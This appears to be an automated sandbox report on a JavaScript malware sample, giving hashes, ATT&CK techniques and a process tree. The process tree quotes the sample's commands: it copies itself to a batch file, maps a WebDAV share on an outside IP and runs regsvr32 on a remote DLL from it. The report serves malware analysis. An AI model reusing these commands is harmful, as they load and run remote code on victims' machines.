a6dc75475d46dcb918773603add80529886dd76e34be3eae1eddc88e5a8ad8d6

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 01:58

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General

Target

a6dc75475d46dcb918773603add80529886dd76e34be3eae1eddc88e5a8ad8d6.js
Size

5KB
MD5

2a054449867bc7ca935a8080a3b638e1
SHA1

41e900ecc49cbbc4c56ee3a1c14fadf5d4887a0a
SHA256

a6dc75475d46dcb918773603add80529886dd76e34be3eae1eddc88e5a8ad8d6
SHA512

34acd891cca930e430ba46df804fcc088e1eebee4d9aed3e1359548a3bafd1814d15eb5893c0c001e68f22dcbfd0ae759a2f43af799b56580d3590e0d70f1bab
SSDEEP

96:YJYaTEHHm0HsYfZARusAKWEudd/R8nOHPKKNF3PKhOKCXPKKVPKpUIKrBD9TK0kz:YaaoHGqvfksdH8nOHPVNF3PWODPVVPo5

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1504	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 2796	2180	wscript.exe	30
PID 2180 wrote to memory of 2796	2180	wscript.exe	30
PID 2180 wrote to memory of 2796	2180	wscript.exe	30
PID 2796 wrote to memory of 480	2796	cmd.exe	32
PID 2796 wrote to memory of 480	2796	cmd.exe	32
PID 2796 wrote to memory of 480	2796	cmd.exe	32
PID 2796 wrote to memory of 1504	2796	cmd.exe	33
PID 2796 wrote to memory of 1504	2796	cmd.exe	33
PID 2796 wrote to memory of 1504	2796	cmd.exe	33
PID 2796 wrote to memory of 1504	2796	cmd.exe	33
PID 2796 wrote to memory of 1504	2796	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\a6dc75475d46dcb918773603add80529886dd76e34be3eae1eddc88e5a8ad8d6.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\a6dc75475d46dcb918773603add80529886dd76e34be3eae1eddc88e5a8ad8d6.js" "C:\Users\Admin\\zoyapt.bat" && "C:\Users\Admin\\zoyapt.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:480
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\511.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\zoyapt.bat

Filesize
5KB

MD5
2a054449867bc7ca935a8080a3b638e1

SHA1
41e900ecc49cbbc4c56ee3a1c14fadf5d4887a0a

SHA256
a6dc75475d46dcb918773603add80529886dd76e34be3eae1eddc88e5a8ad8d6

SHA512
34acd891cca930e430ba46df804fcc088e1eebee4d9aed3e1359548a3bafd1814d15eb5893c0c001e68f22dcbfd0ae759a2f43af799b56580d3590e0d70f1bab

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